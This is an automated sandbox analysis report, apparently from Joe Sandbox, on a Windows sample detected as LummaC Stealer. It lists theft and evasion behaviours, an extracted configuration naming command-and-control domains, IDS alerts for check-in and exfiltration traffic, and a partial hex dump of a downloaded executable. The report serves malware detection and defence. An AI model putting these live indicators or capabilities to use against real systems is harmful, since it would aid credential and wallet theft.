Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1558750
MD5:	888242c19537f0f114634d771ce4a9cd
SHA1:	e0e86e160c2c465c3c49b31cdfbbb67ecd5a9366
SHA256:	0ddd13cd233f81153d8d558297ba09317867797db7d87e7758a51e4131e587d6
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7152 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 888242C19537F0F114634D771CE4A9CD)

chrome.exe (PID: 5324 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1704 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2388,i,17003217840531008037,10136595972546319066,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7740 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7924 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1952,i,10276600850100983597,11233374651624369468,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["p10tgrace.sbs", "p3ar11fter.sbs", "3xp3cts1aim.sbs", "processhol.sbs", "peepburry828.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1774333796.0000000001705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1774313247.0000000001701000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7152	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7152	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T19:14:02.633161+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-19T19:14:03.614531+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-19T19:14:04.739034+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-19T19:14:06.121468+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	188.114.96.3	443	TCP
2024-11-19T19:14:07.477192+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	188.114.96.3	443	TCP
2024-11-19T19:14:10.166003+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-19T19:14:11.580388+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	188.114.96.3	443	TCP
2024-11-19T19:14:16.360117+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T19:14:03.092592+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-19T19:14:04.032419+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-19T19:14:16.789899+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T19:14:03.092592+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T19:14:04.032419+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T19:14:17.502329+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49738	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T19:14:05.464671+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49732	188.114.96.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.2002267602.0000000006442000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1899778904.0000000008570000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 18:14:17 GMTContent-Type: application/octet-streamContent-Length: 2795520Last-Modified: Tue, 19 Nov 2024 17:50:33 GMTConnection: keep-aliveETag: "673ccfe9-2aa800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 18 5e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 71 77 79 62 63 6f 7a 00 60 2a 00 00 a0 00 00 00 48 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 79 65 6e 76 6d 6b 6a 00 20 00 00 00 00 2b 00 00 04 00 00 00 82 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 86 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49738 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rfONvscVnfuNh87&MD=NpLzTHHd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rfONvscVnfuNh87&MD=NpLzTHHd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
